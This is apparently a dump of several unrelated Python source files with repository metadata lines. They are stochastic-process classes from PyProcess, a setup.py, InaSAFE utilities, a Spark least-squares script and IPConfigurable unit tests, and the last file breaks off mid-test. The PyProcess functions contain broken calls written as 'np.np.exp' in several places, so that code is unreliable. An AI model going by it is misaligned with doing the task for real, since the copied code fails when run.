""" Based on http://finance.math.ucalgary.ca/papers/CliffTalk26March09.pdf params: {a: >0 , b: >0 } Note: currently cannot be conditioned on endTime nor endPosition. """ def __init__(self, parameters, timespace_constraints): super(Inverse_Gaussian_process,self).__init__(timespace_constraints) self.a = parameters['a'] self.b = parameters['b'] self.IG = InverseGaussian() def _generate_position_at(self, t): return self.startPosition + self.IG.rvs(self.a*(t - self.startTime),self.b) def _generate_sample_path(self, times): x = self.startPosition t = self.startTime path = [] for time in times: delta = time - t x += self.IG.rvs(self.a*delta, self.b) t = time path.append((t,x)) return path def _get_mean_at(self,t): return self.startPosition + self.a*t/self.b def _get_variance_at(self,t): return (self.a*t/self.b)**3/(self.a*t) def _transition_pdf(self,z,t,x): y = x-z return self.a*(t-self.startTime)/(2*pi)*(y)**(-1.5)*np.np.exp(-0.5*( (self.a*(t-self.startTime))**2/y + self.b**2*y ) + self.a*(t-self.startTime)*self.b ) class Normal_Inverse_Gaussian_process(Jump_Diffusion_process): """This is a Brownian motion subordinated by a inverse gaussian process. From http://finance.math.ucalgary.ca/papers/CliffTalk26March09.pdf paramters {beta: scalar, alpha: |beta|<alpha, delta:>0} """ def __init__(self, parameters, timespace_constraints): super(Normal_Inverse_Gaussian_process,self).__init__(timespace_constraints) self.alpha = parameters['alpha'] self.beta = parameters['beta'] self.delta = parameters['delta'] b = self.delta*np.sqrt(self.alpha**2 - self.beta**2) self.IGprocess = Inverse_Gaussian_process( {"a":1, "b":b}, {"startTime":0, "startPosition":self.startTime}) self.BMprocess = Wiener_process({'mu':self.beta*self.delta**2, 'sigma':self.delta}, {"startTime":self.startTime, 'startPosition':self.startPosition }) def _generate_position_at(self, t): return self.BMprocess.generate_position_at(self.IGprocess.generate_position_at(t)) def _generate_sample_path(self, times): p = self.IGprocess.generate_sample_path(times) return self.BMprocess.generate_sample_path([x[1] for x in p]) def _get_mean_at(self,t): return self.startPosition + self.delta*(t-self.startTime)*self.beta/(np.sqrt(self.alpha**2 - self.beta**2)) def _get_variance_at(self,t): return self.delta*(t-self.startTime)*self.alpha**2/(np.sqrt(self.alpha**2 - self.beta**2))**3 def _transition_pdf(self,z,t,x): y = np.sqrt(self.delta**2 - + (x-z)**2) gamma = np.sqrt(self.alpha**2 - self.beta**2) return self.alpha*self.delta*(t - self.startTime)*kn(1,self.alpha*y )*np.np.exp(self.delta*gamma+self.beta*(z-x) )/(pi*y) class Custom_process(object): """ This class is a user defined sum of processes. The parameters are classes from this module. Ex: WP = Wiener_process{parametersWP, spaceTimeConstraintsWP} PP = Poisson_process{parametersPP, space_time_constraintsPP} Custom = Custom_process( WP, PP ) Custom.get_mean_at(10) """ def __init__(self, *args): self.processes = [] for arg in args: self.processes.append(arg) def get_mean_at(self,t): sum=0 for p in self.processes: sum+=p.get_mean_at(t) return sum def get_variance_at(self,t): sum=0 for p in self.processes: sum+=p.get_variance_at(t) return sum def generate_position_at(self,t): sum=0 for p in self.processes: sum+=p.generate_position_at(t) return sum def generate_sample_path(self,times, *args): "returns an array of a path, not an immutable list!" path = [[t,0] for t in times] for i in xrange(len(self.processes)): try: tempPath = self.processes[i].generate_sample_path(times, args[i] ) except: tempPath = self.processes[i].generate_sample_path(times) for k in xrange(len(tempPath)): path[k][1]+=tempPath[k][1] return path #------------------------------------------------------------------------------ # auxilary classes and functions class Constant(object): def __init__(self,c): self.c=c def mean(self): return self.c def var(self): return 0 def rvs(self, n): return self.c*np.ones(n) def cdf(self,x): if x<self.c: return 0 else: return 1 def sf(self,x): return 1-self.cdf(x) def pmf(self,x): if x==self.c: return 1 else: return 0 class InverseGaussian(object): def rvs(self, a, b): y = stats.norm.rvs() x = a/b + y/(2*b**2) + np.sqrt(4*a*b+ y**2)/(2*b**2) u = stats.uniform.rvs() if u <= a/(a+x*b): return x return (a/b)**2/x def bridge_creation(process,times, *args): # this algorithm relies on the fact that 1-dim diffusion are time reversible. print "Attn: using an AR method..." process.conditional = False temp = process.startPosition while (True): sample_path=[] forward = process.generate_sample_path(times, *args) process.startPosition = process.endPosition backward = process.generate_sample_path(reverse_times(process, times), *args) process.startPosition = temp check = (forward[0][1]-backward[-1][1]>0) i=1 N = len(times) sample_path.append(forward[0]) while (i<N-1) and (check == (forward[i][1]-backward[-1-i][1]>0) ): sample_path.append(forward[i]) i+=1 if i != N-1: #an intersection was found k=0 while(N-1-i-k>=0): sample_path.append((times[i+k],backward[N-1-i-k][1])) k+=1 process.conditional = True return sample_path def reverse_times(process, times): reverse_times=[] for time in reversed(times): reverse_times.append(process.endTime - time - process.startTime) return reverse_times def transform_path(path,f): "accepts a path, ie [(t,x_t)], and transforms it into [(t,f(x)]." return [(p[0],f(p[1])) for p in path] class SampleVarStat(object): def __init__(self): self.S=0 self.oldM=0 self.newM=0 self.k=1 def push(self,x): if self.k==0: self.S=0 self.oldM=x else: self.newM = self.oldM+(x-self.oldM)/self.k self.S+=(x-self.oldM)*(x-self.newM) self.oldM=self.newM self.k+=1 def get_variance(self): return self.S/(self.k-1) class IncompleteGamma(object): "defined on negative integers. This is untested for accuracy" "Used in Bessel process simulation." def __init__(self,shape=None,scale=None): self.shape = float(shape) self.scale = float(scale) self.Uni = stats.uniform def pdf(self,n,shape,scale): inc = gammainc(shape,scale) #incomplete gamma function return np.np.exp(-scale)*sp.power(scale, n+shape)/(gamma(n+1+shape)*inc) def cdf(self,n, shape,scale): sum=0 for i in xrange(n+1): sum+=self.pdf(i,shape,scale) return sum def rvs(self,shape,scale): "uses a inversion method: the chop-down-search starting \ at the mode" pos = mode = float(max(0,int(shape-scale))) U = self.Uni.rvs() sum = self.pdf(mode,shape,scale) ub = mode+1 lb = mode-1 Pub = sum*scale/(mode+1+shape) Plb = sum*(mode+shape)/scale while sum<U: if Plb>Pub and lb>=0: sum+=Plb pos = lb Plb = (lb+shape)/scale*Plb lb-=1 else: sum+=Pub pos= ub Pub = scale/(ub+1+shape)*Pub ub+=1 return float(pos) def rvsII(self,shape,scale): U = self.Uni.rvs() pos = 0 sum = self.pdf(pos,shape,scale) while sum<U: pos+=1 sum+=self.pdf(pos,shape,scale) return float(pos)
CamDavidsonPilon/PyProcess
pyprocess/pyprocess.py
Python
mit
73,110
[ "Gaussian" ]
492eabaaad6660385aac57f5c9640c3161b2919ae633d34246421928e7612a2f
#!/usr/bin/env python from distutils.core import setup setup(name='MethylAnalyzer', version='0.1.0', description='Analyze Methyl-MAPS data', author='Yurong Xin', author_email='xinyuro@pi.cpmc.columbia.edu', url='http://github.com/epigenomics/methylmaps', packages=['MethylAnalyzer'], scripts = ['scripts/create_cpg_track.py', 'scripts/create_frag_track.py', 'scripts/create_microarray_track.py', 'scripts/create_wiggle_track.py', 'scripts/filter.py', 'scripts/parse_mates.py', 'scripts/parse_sites.py', 'scripts/run_pipeline.py', 'scripts/score.py'], package_data={'MethylAnalyzer': ['data/*']}, requires=['numpy', 'pyfasta', 'pysam'], license='GPL', )
epigenomics/methylmaps
setup.py
Python
gpl-3.0
773
[ "pysam" ]
129994128681a455c21aa445318479d595ff1704605532060775a54db3dd9aac
# coding=utf-8 """ InaSAFE Disaster risk assessment tool developed by AusAid - **IS Utilities implementation.** Contact : ole.moller.nielsen@gmail.com .. note:: This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. """ __author__ = 'tim@kartoza.com' __revision__ = '$Format:%H$' __date__ = '29/01/2011' __copyright__ = 'Copyright 2012, Australia Indonesia Facility for ' __copyright__ += 'Disaster Reduction' import os import sys import traceback import logging import webbrowser import unicodedata import codecs import re # noinspection PyPackageRequirements from safe.storage.utilities import read_keywords from safe.storage.utilities import write_keywords from safe.common.exceptions import ( InvalidParameterError, NoKeywordsFoundError, KeywordNotFoundError) from safe.common.utilities import unique_filename from safe.common.version import get_version from safe.defaults import disclaimer from safe import messaging as m from safe.messaging import styles, Message from safe.messaging.error_message import ErrorMessage from safe.utilities.unicode import get_unicode, get_string from safe.utilities.i18n import tr from safe.definitions import inasafe_keyword_version INFO_STYLE = styles.INFO_STYLE LOGGER = logging.getLogger('InaSAFE') def get_error_message(exception, context=None, suggestion=None): """Convert exception into an ErrorMessage containing a stack trace. :param exception: Exception object. :type exception: Exception :param context: Optional context message. :type context: str :param suggestion: Optional suggestion. :type suggestion: str .. see also:: https://github.com/AIFDR/inasafe/issues/577 :returns: An error message with stack trace info suitable for display. :rtype: ErrorMessage """ trace = ''.join(traceback.format_tb(sys.exc_info()[2])) problem = m.Message(m.Text(exception.__class__.__name__)) if exception is None or exception == '': problem.append = m.Text(tr('No details provided')) else: if isinstance(exception.message, Message): problem.append = m.Text(str(exception.message.message)) else: problem.append = m.Text(exception.message) suggestion = suggestion if suggestion is None and hasattr(exception, 'suggestion'): suggestion = exception.message error_message = ErrorMessage( problem, detail=context, suggestion=suggestion, traceback=trace ) args = exception.args for arg in args: error_message.details.append(arg) return error_message def humanise_seconds(seconds): """Utility function to humanise seconds value into e.g. 10 seconds ago. The function will try to make a nice phrase of the seconds count provided. .. note:: Currently seconds that amount to days are not supported. :param seconds: Mandatory seconds value e.g. 1100. :type seconds: int :returns: A humanised version of the seconds count. :rtype: str """ days = seconds / (3600 * 24) day_modulus = seconds % (3600 * 24) hours = day_modulus / 3600 hour_modulus = day_modulus % 3600 minutes = hour_modulus / 60 if seconds < 60: return tr('%i seconds' % seconds) if seconds < 120: return tr('a minute') if seconds < 3600: return tr('%s minutes' % minutes) if seconds < 7200: return tr('over an hour') if seconds < 86400: return tr('%i hours and %i minutes' % (hours, minutes)) else: # If all else fails... return tr('%i days, %i hours and %i minutes' % ( days, hours, minutes)) def impact_attribution(keywords, inasafe_flag=False): """Make a little table for attribution of data sources used in impact. :param keywords: A keywords dict for an impact layer. :type keywords: dict :param inasafe_flag: bool - whether to show a little InaSAFE promotional text in the attribution output. Defaults to False. :returns: An html snippet containing attribution information for the impact layer. If no keywords are present or no appropriate keywords are present, None is returned. :rtype: safe.messaging.Message """ if keywords is None: return None join_words = ' - %s ' % tr('sourced from') analysis_details = tr('Analysis details') hazard_details = tr('Hazard details') hazard_title_keywords = 'hazard_title' hazard_source_keywords = 'hazard_source' exposure_details = tr('Exposure details') exposure_title_keywords = 'exposure_title' exposure_source_keyword = 'exposure_source' if hazard_title_keywords in keywords: hazard_title = tr(keywords[hazard_title_keywords]) else: hazard_title = tr('Hazard layer') if hazard_source_keywords in keywords: hazard_source = tr(keywords[hazard_source_keywords]) else: hazard_source = tr('an unknown source') if exposure_title_keywords in keywords: exposure_title = keywords[exposure_title_keywords] else: exposure_title = tr('Exposure layer') if exposure_source_keyword in keywords: exposure_source = keywords[exposure_source_keyword] else: exposure_source = tr('an unknown source') report = m.Message() report.add(m.Heading(analysis_details, **INFO_STYLE)) report.add(hazard_details) report.add(m.Paragraph( hazard_title, join_words, hazard_source)) report.add(exposure_details) report.add(m.Paragraph( exposure_title, join_words, exposure_source)) if inasafe_flag: report.add(m.Heading(tr('Software notes'), **INFO_STYLE)) # noinspection PyUnresolvedReferences inasafe_phrase = tr( 'This report was created using InaSAFE version %s. Visit ' 'http://inasafe.org to get your free copy of this software! %s' ) % (get_version(), disclaimer()) report.add(m.Paragraph(m.Text(inasafe_phrase))) return report def add_ordered_combo_item(combo, text, data=None): """Add a combo item ensuring that all items are listed alphabetically. Although QComboBox allows you to set an InsertAlphabetically enum this only has effect when a user interactively adds combo items to an editable combo. This we have this little function to ensure that combos are always sorted alphabetically. :param combo: Combo box receiving the new item. :type combo: QComboBox :param text: Display text for the combo. :type text: str :param data: Optional UserRole data to be associated with the item. :type data: QVariant, str """ size = combo.count() for combo_index in range(0, size): item_text = combo.itemText(combo_index) # see if text alphabetically precedes item_text if cmp(text.lower(), item_text.lower()) < 0: combo.insertItem(combo_index, text, data) return # otherwise just add it to the end combo.insertItem(size, text, data) def open_in_browser(file_path): """Open a file in the default web browser. :param file_path: Path to the file that should be opened. :type file_path: str """ webbrowser.open('file://%s' % file_path) def html_to_file(html, file_path=None, open_browser=False): """Save the html to an html file adapting the paths to the filesystem. if a file_path is passed, it is used, if not a unique_filename is generated. :param html: the html for the output file. :type html: str :param file_path: the path for the html output file. :type file_path: str :param open_browser: if true open the generated html in an external browser :type open_browser: bool """ if file_path is None: file_path = unique_filename(suffix='.html') # Ensure html is in unicode for codecs module html = get_unicode(html) with codecs.open(file_path, 'w', encoding='utf-8') as f: f.write(html) if open_browser: open_in_browser(file_path) def read_file_keywords(layer_path, keyword=None): """Get metadata from the keywords file associated with a local file in the file system. .. note:: Requires a str representing a file path instance as parameter As opposed to read_keywords_from_layer which takes a inasafe file object as parameter. .. seealso:: read_keywords_from_layer :param: layer_path: a string representing a path to a layer (e.g. '/tmp/foo.shp', '/tmp/foo.tif') :type layer_path: str :param keyword: optional - the metadata keyword to retrieve e.g. 'title' :type keyword: str :return: A string containing the retrieved value for the keyword if the keyword argument is specified, otherwise the complete keywords dictionary is returned. :raises: KeywordNotFoundError, NoKeywordsFoundError, InvalidParameterError Note: * KeywordNotFoundError - occurs when the keyword is not recognised. * NoKeywordsFoundError - occurs when no keyword file exists. * InvalidParameterError - occurs when the layer does not exist. """ # check the source layer path is valid if not os.path.isfile(layer_path): message = tr('Cannot get keywords from a non-existent file. File ' '%s does not exist.' % layer_path) raise InvalidParameterError(message) # check there really is a keywords file for this layer # priority for iso path first keyword_file_path = os.path.splitext(layer_path)[0] keyword_file_path += '.keywords' if not os.path.isfile(keyword_file_path): message = tr('No keywords file found for %s' % keyword_file_path) raise NoKeywordsFoundError(message) # now get the requested keyword using the inasafe library try: dictionary = read_keywords(keyword_file_path) except Exception, e: message = tr( 'Keyword retrieval failed for %s (%s) \n %s' % ( keyword_file_path, keyword, str(e))) raise KeywordNotFoundError(message) # if no keyword was supplied, just return the dict if keyword is None: if 'keyword_version' in dictionary.keys(): dictionary['keyword_version'] = get_string( dictionary['keyword_version']) return dictionary if keyword not in dictionary: message = tr('No value was found in file %s for keyword %s' % ( keyword_file_path, keyword)) raise KeywordNotFoundError(message) try: value = dictionary[keyword] except: raise if 'keyword_version' == keyword: value = get_string(value) return value def replace_accentuated_characters(message): """Normalize unicode data in Python to remove umlauts, accents etc. :param message: The string where to delete accentuated characters. :type message: str, unicode :return: A string without umlauts, accents etc. :rtype: str """ message = unicodedata.normalize('NFKD', message).encode('ASCII', 'ignore') return message.decode('utf-8') def is_keyword_version_supported( keyword_version, inasafe_version=inasafe_keyword_version): """Check if the keyword version is supported by this InaSAFE version. .. versionadded: 3.3 :param keyword_version: String representation of the keyword version. :type keyword_version: str :param inasafe_version: String representation of InaSAFE's version. :type inasafe_version: str :returns: True if supported, otherwise False. :rtype: bool """ def minor_version(version): """Obtain minor version of a version (x.y) :param version: Version string. :type version: str :returns: Minor version. :rtype: str """ version_split = version.split('.') return version_split[0] + '.' + version_split[1] version_compatibilities = { '3.3': ['3.2'] } # Convert to minor version. keyword_version = minor_version(keyword_version) inasafe_version = minor_version(inasafe_version) if inasafe_version == keyword_version: return True if inasafe_version in version_compatibilities.keys(): if keyword_version in version_compatibilities[inasafe_version]: return True else: return False else: return False
dynaryu/inasafe
safe/utilities/utilities.py
Python
gpl-3.0
12,694
[ "VisIt" ]
8646563513482ae686d654695df620b67d187de96dcddbe6e0845b8518ad070f
from pyspark import SparkContext from pyspark import SparkConf from least_squares import RandLeastSquares from rowmatrix import RowMatrix from utils import pickle_write import time import sys import os import argparse import ConfigParser import scipy.stats import numpy as np import logging.config def print_params(args, logger): logger.info('------------------------------------------------------------') logger.info('---------------Solving Least Squares Problems---------------') logger.info('------------------------------------------------------------') logger.info('dataset: {0}'.format( args.dataset )) logger.info('size: {0} by {1}'.format( args.dims[0], args.dims[1] )) logger.info('loading file from {0}'.format( args.file_source )) if args.nrepetitions>1: logger.info('number of repetitions: {0}'.format( args.nrepetitions )) logger.info('stack type is: {0}'.format( args.stack_type )) logger.info('number of partitions: {0}'.format( args.npartitions )) if args.cache: logger.info('cache the dataset') logger.info('Results will be stored to {0}'.format(args.output_filename)) logger.info('------------------------------------------------------------') logger.info('loading setting configuration file from {0}'.format(args.setting_filename)) logger.info('loading logging configuration file from {0}'.format(args.logging_filename)) logger.info('------------------------------------------------------------') logger.info('solver: {0}'.format( args.solver_type )) logger.info('sketch type: {0}'.format( args.sketch_type )) if args.sketch_type: logger.info('projection type: {0}'.format( args.projection_type )) logger.info('projection size: {0}'.format( args.r )) if args.sketch_type == 'sampling': logger.info('sampling size: {0}'.format( args.s )) if args.solver_type == 'high_precision': logger.info('number of iterations: {0}'.format( args.q )) logger.info('number of independent trial: {0}'.format( args.k )) logger.info('------------------------------------------------------------') if args.load_N: logger.info('Will load N matrices wheneve it is possible!') if args.save_N: logger.info('Will save N matrices wheneve it is possible!') if args.test: logger.info('Will test the returned solutions!') if args.save_logs: logger.info('Logs will be saved!') logger.info('------------------------------------------------------------') if args.debug: logger.info('Debug mode is on!') logger.info('------------------------------------------------------------') class ArgumentError(Exception): pass class OptionError(Exception): pass def main(argv): parser = argparse.ArgumentParser(description='Getting parameters.',prog='run_ls.sh') parser.add_argument('dataset', type=str, help='dataset_Ab.txt stores the input matrix to run CX on; \ dataset.txt stores the original matrix (only needed for -t);') parser.add_argument('--dims', metavar=('m','n'), type=int, nargs=2, required=True, help='size of the input matrix') parser.add_argument('--nrepetitions', metavar='numRepetitions', default=1, type=int, help='number of times to stack matrix vertically in order to generate large matrices') parser.add_argument('--stack', metavar='stackType', dest='stack_type', type=int, default=1, help='stack type') parser.add_argument('--npartitions', metavar='numPartitions', default=280, type=int, help='number of partitions in Spark') parser.add_argument('--setting_filename', metavar='settingConfFilename', default='conf/settings.cfg', type=str, help='name of the configuration file storing the settings') parser.add_argument('--logging_filename', metavar='loggingConfFilename', default='conf/logging.cfg', type=str, help='configuration file for Python logging') parser.add_argument('-c', '--cache', action='store_true', help='cache the dataset in Spark') group = parser.add_mutually_exclusive_group() group.add_argument('--hdfs', dest='file_source', default='local', action='store_const', const='hdfs', help='load dataset from HDFS (default: loading files from local)') group.add_argument('--s3', dest='file_source', default='local', action='store_const', const='s3', help='load dataset from Amazon S3 (default: loading files from local)') group = parser.add_mutually_exclusive_group() group.add_argument('--low-precision', dest='solver_type', default='low_precision', action='store_const', const='low_precision', help='use low-precision solver') group.add_argument('--high_precision', dest='solver_type', default='low_precision', action='store_const', const='high_precision', help='use high_precision solver') group = parser.add_mutually_exclusive_group() group.add_argument('--projection', dest='sketch_type', action='store_const', const='projection', help='compute sketch by projection') group.add_argument('--sampling', dest='sketch_type', action='store_const', const='sampling', help='compute sketch by sampling') parser.add_argument('-p', dest='projection_type', default='gaussian', choices=('cw','gaussian','rademacher','srdht'), help='underlying projection type') parser.add_argument('-r', metavar='projectionSize', type=int, help='sketch size') parser.add_argument('-s', metavar='samplingSize', type=int, help='sampling size (for samping sektch only)') parser.add_argument('-q', '--niters', metavar='numIters', dest='q', type=int, help='number of iterations in LSQR') parser.add_argument('-k', '--ntrials', metavar='numTrials', dest='k', default=1, type=int, help='number of independent trials to run') parser.add_argument('-t', '--test', action='store_true', help='compute accuracies of the returned solutions') parser.add_argument('--save_logs', action='store_true', help='save Spark logs') parser.add_argument('--output_filename', metavar='outputFilename', default='ls.out', help='filename of the output file (default: ls.out)') parser.add_argument('--load_N', action='store_true', help='load N') parser.add_argument('--save_N', action='store_true', help='save N') parser.add_argument('--debug', action='store_true', help='debug mode') if len(argv)>0 and argv[0]=='print_help': parser.print_help() sys.exit(1) args = parser.parse_args(argv) (m,n) = args.dims # validating if m < n: raise ValueError('Number of rows({0}) should be greater than number of columns({1})'.format(m,n)) if args.sketch_type == 'sampling' and args.s is None: raise ValueError('Please enter a sampling size!') if args.solver_type == 'high_precision' and args.q is None: raise ValueError('Please enter number of iterations!') if args.solver_type == 'low_precision' and args.sketch_type is None: raise ValueError('Please specify a sketch method for the low-precision solver!') if args.sketch_type and args.r is None: raise ValueError('Please enter a projection size!') # loading configuration file config = ConfigParser.RawConfigParser() config.read(args.setting_filename) data_dir = config.get('local_directories','data_dir') spark_logs_dir = 'file://'+os.path.dirname(os.path.abspath(__file__))+'/'+config.get('local_directories','spark_logs_dir') logging.config.fileConfig(args.logging_filename, disable_existing_loggers=False) # setting up the logger logger = logging.getLogger('') #using root print_params(args, logger) # printing parameters # instantializing a Spark instance if args.save_logs: conf = SparkConf().set('spark.eventLog.enabled','true').set('spark.eventLog.dir',spark_logs_dir).set('spark.driver.maxResultSize', '20g') else: conf = SparkConf().set('spark.driver.maxResultSize', '20g') sc = SparkContext(appName="ls_exp",conf=conf) if args.file_source=='hdfs': hdfs_dir = config.get('hdfs','hdfs_dir') Ab_rdd = sc.textFile(hdfs_dir+args.dataset+'.txt',args.npartitions) #loading dataset from HDFS elif args.file_source=='s3': s3_dir = config.get('s3','s3_dir') key_id = config.get('s3','key_id') secret_key = config.get('s3','secret_key') Ab_rdd = sc.textFile('s3n://'+key_id+':'+secret_key+'@'+s3_dir+args.dataset+'.txt',args.npartitions) else: A = np.loadtxt(data_dir+args.dataset+'.txt') #loading dataset from local disc Ab_rdd = sc.parallelize(A.tolist(),args.npartitions) matrix_Ab = RowMatrix(Ab_rdd,args.dataset,m,n,args.cache,stack_type=args.stack_type,repnum=args.nrepetitions) # creating a RowMatrix instance ls = RandLeastSquares(matrix_Ab,solver_type=args.solver_type,sketch_type=args.sketch_type,projection_type=args.projection_type,c=args.r,s=args.s,num_iters=args.q,k=args.k) ls.fit(args.load_N, args.save_N,args.debug) # solving the problem result = {'time':ls.time, 'x':ls.x} pickle_write('../result/'+args.output_filename,result) # saving results logger.info('Total time elapsed:{0}'.format( ls.time )) if args.test: #only need to load these in the test mode if os.path.isfile(data_dir+args.dataset+'_x_opt.txt'): logger.info('Found precomputed optimal solutions!') x_opt = np.loadtxt(data_dir+args.dataset+'_x_opt.txt') f_opt = np.loadtxt(data_dir+args.dataset+'_f_opt.txt') else: logger.info('Computing optimal solutions!') Ab = np.array(matrix_Ab.rdd_original.values().collect()) # might not be accurate, needed to check A = Ab[:,:-1] b = Ab[:,-1] x_opt = np.linalg.lstsq(A,b)[0] f_opt = np.linalg.norm(np.dot(A,x_opt)-b) rx, rf = ls.comp_relerr(x_opt,f_opt) logger.info('Median of the relative error on solution vector is:{0}'.format(rx)) logger.info('Median of the relative error on objective value is:{0}'.format(rf)) if __name__ == "__main__": main(sys.argv[1:])
chocjy/randomized-LS-solvers
src/run_ls.py
Python
apache-2.0
10,099
[ "Gaussian" ]
d41b1e2ec23162e80f0062d7a3e1a87558846f1d45a2eb5cf99061eb3e8de389
# encoding: utf-8 """ Tests for IPConfigurable.configurable Authors: * Brian Granger * Fernando Perez (design help) """ #----------------------------------------------------------------------------- # Copyright (C) 2008-2011 The IPython Development Team # # Distributed under the terms of the BSD License. The full license is in # the file COPYING, distributed as part of this software. #----------------------------------------------------------------------------- #----------------------------------------------------------------------------- # Imports #----------------------------------------------------------------------------- from unittest import TestCase from IPConfigurable.configurable import ( Configurable, SingletonConfigurable ) from IPConfigurable.traitlets import ( Integer, Float, Unicode, List, Dict, Set, ) from IPConfigurable.loader import Config from IPConfigurable.py3compat import PY3 #----------------------------------------------------------------------------- # Test cases #----------------------------------------------------------------------------- class MyConfigurable(Configurable): a = Integer(1, config=True, help="The integer a.") b = Float(1.0, config=True, help="The integer b.") c = Unicode('no config') mc_help=u"""MyConfigurable options ---------------------- --MyConfigurable.a=<Integer> Default: 1 The integer a. --MyConfigurable.b=<Float> Default: 1.0 The integer b.""" mc_help_inst=u"""MyConfigurable options ---------------------- --MyConfigurable.a=<Integer> Current: 5 The integer a. --MyConfigurable.b=<Float> Current: 4.0 The integer b.""" # On Python 3, the Integer trait is a synonym for Int if PY3: mc_help = mc_help.replace(u"<Integer>", u"<Int>") mc_help_inst = mc_help_inst.replace(u"<Integer>", u"<Int>") class Foo(Configurable): a = Integer(0, config=True, help="The integer a.") b = Unicode('nope', config=True) class Bar(Foo): b = Unicode('gotit', config=False, help="The string b.") c = Float(config=True, help="The string c.") class TestConfigurable(TestCase): def test_default(self): c1 = Configurable() c2 = Configurable(config=c1.config) c3 = Configurable(config=c2.config) self.assertEqual(c1.config, c2.config) self.assertEqual(c2.config, c3.config) def test_custom(self): config = Config() config.foo = 'foo' config.bar = 'bar' c1 = Configurable(config=config) c2 = Configurable(config=c1.config) c3 = Configurable(config=c2.config) self.assertEqual(c1.config, config) self.assertEqual(c2.config, config) self.assertEqual(c3.config, config) # Test that copies are not made self.assertTrue(c1.config is config) self.assertTrue(c2.config is config) self.assertTrue(c3.config is config) self.assertTrue(c1.config is c2.config) self.assertTrue(c2.config is c3.config) def test_inheritance(self): config = Config() config.MyConfigurable.a = 2 config.MyConfigurable.b = 2.0 c1 = MyConfigurable(config=config) c2 = MyConfigurable(config=c1.config) self.assertEqual(c1.a, config.MyConfigurable.a) self.assertEqual(c1.b, config.MyConfigurable.b) self.assertEqual(c2.a, config.MyConfigurable.a) self.assertEqual(c2.b, config.MyConfigurable.b) def test_parent(self): config = Config() config.Foo.a = 10 config.Foo.b = "wow" config.Bar.b = 'later' config.Bar.c = 100.0 f = Foo(config=config) b = Bar(config=f.config) self.assertEqual(f.a, 10) self.assertEqual(f.b, 'wow') self.assertEqual(b.b, 'gotit') self.assertEqual(b.c, 100.0) def test_override1(self): config = Config() config.MyConfigurable.a = 2 config.MyConfigurable.b = 2.0 c = MyConfigurable(a=3, config=config) self.assertEqual(c.a, 3) self.assertEqual(c.b, config.MyConfigurable.b) self.assertEqual(c.c, 'no config') def test_override2(self): config = Config() config.Foo.a = 1 config.Bar.b = 'or' # Up above b is config=False, so this won't do it. config.Bar.c = 10.0 c = Bar(config=config) self.assertEqual(c.a, config.Foo.a) self.assertEqual(c.b, 'gotit') self.assertEqual(c.c, config.Bar.c) c = Bar(a=2, b='and', c=20.0, config=config) self.assertEqual(c.a, 2) self.assertEqual(c.b, 'and') self.assertEqual(c.c, 20.0) def test_help(self): self.assertEqual(MyConfigurable.class_get_help(), mc_help) def test_help_inst(self): inst = MyConfigurable(a=5, b=4) self.assertEqual(MyConfigurable.class_get_help(inst), mc_help_inst) class TestSingletonConfigurable(TestCase): def test_instance(self): class Foo(SingletonConfigurable): pass self.assertEqual(Foo.initialized(), False) foo = Foo.instance() self.assertEqual(Foo.initialized(), True) self.assertEqual(foo, Foo.instance()) self.assertEqual(SingletonConfigurable._instance, None) def test_inheritance(self): class Bar(SingletonConfigurable): pass class Bam(Bar): pass self.assertEqual(Bar.initialized(), False) self.assertEqual(Bam.initialized(), False) bam = Bam.instance() bam == Bar.instance() self.assertEqual(Bar.initialized(), True) self.assertEqual(Bam.initialized(), True) self.assertEqual(bam, Bam._instance) self.assertEqual(bam, Bar._instance) self.assertEqual(SingletonConfigurable._instance, None) class MyParent(Configurable): pass class MyParent2(MyParent): pass class TestParentConfigurable(TestCase): def test_parent_config(self): cfg = Config({ 'MyParent' : { 'MyConfigurable' : { 'b' : 2.0, } } }) parent = MyParent(config=cfg) myc = MyConfigurable(parent=parent) self.assertEqual(myc.b, parent.config.MyParent.MyConfigurable.b) def test_parent_inheritance(self): cfg = Config({ 'MyParent' : { 'MyConfigurable' : { 'b' : 2.0, } } }) parent = MyParent2(config=cfg) myc = MyConfigurable(parent=parent) self.assertEqual(myc.b, parent.config.MyParent.MyConfigurable.b) def test_multi_parent(self): cfg = Config({ 'MyParent2' : { 'MyParent' : { 'MyConfigurable' : { 'b' : 2.0, } }, # this one shouldn't count 'MyConfigurable' : { 'b' : 3.0, }, } }) parent2 = MyParent2(config=cfg) parent = MyParent(parent=parent2) myc = MyConfigurable(parent=parent) self.assertEqual(myc.b, parent.config.MyParent2.MyParent.MyConfigurable.b) def test_parent_priority(self): cfg = Config({ 'MyConfigurable' : { 'b' : 2.0, }, 'MyParent' : { 'MyConfigurable' : { 'b' : 3.0, } }, 'MyParent2' : { 'MyConfigurable' : { 'b' : 4.0, } } }) parent = MyParent2(config=cfg) myc = MyConfigurable(parent=parent) self.assertEqual(myc.b, parent.config.MyParent2.MyConfigurable.b) def test_multi_parent_priority(self): cfg = Config({ 'MyConfigurable' : { 'b' : 2.0, }, 'MyParent' : { 'MyConfigurable' : { 'b' : 3.0, } }, 'MyParent2' : { 'MyConfigurable' : { 'b' : 4.0, } }, 'MyParent2' : { 'MyParent' : { 'MyConfigurable' : { 'b' : 5.0, } } } }) parent2 = MyParent2(config=cfg) parent = MyParent2(parent=parent2) myc = MyConfigurable(parent=parent) self.assertEqual(myc.b, parent.config.MyParent2.MyParent.MyConfigurable.b) class Containers(Configurable): lis = List(config=True) def _lis_default(self): return [-1] s = Set(config=True) def _s_default(self): return {'a'} d = Dict(config=True) def _d_default(self): return {'a' : 'b'} class TestConfigContainers(TestCase): def test_extend(self): c = Config() c.Containers.lis.extend(list(range(5))) obj = Containers(config=c) self.assertEqual(obj.lis, list(range(-1,5))) def test_insert(self): c = Config() c.Containers.lis.insert(0, 'a') c.Containers.lis.insert(1, 'b') obj = Containers(config=c) self.assertEqual(obj.lis, ['a', 'b', -1]) def test_prepend(self): c = Config() c.Containers.lis.prepend([1,2]) c.Containers.lis.prepend([2,3]) obj = Containers(config=c) self.assertEqual(obj.lis, [2,3,1,2,-1]) def test_prepend_extend(self): c = Config() c.Containers.lis.prepend([1,2]) c.Containers.lis.extend([2,3]) obj = Containers(config=c) self.assertEqual(obj.lis, [1,2,-1,2,3]) def test_append_extend(self): c = Config() c.Containers.lis.append([1,2]) c.Containers.lis.extend([2,3]) obj = Containers(config=c) self.assertEqual(obj.lis, [-1,[1,2],2,3]) def test_extend_append(self): c = Config() c.Containers.lis.extend([2,3]) c.Containers.lis.append([1,2]) obj = Containers(config=c) 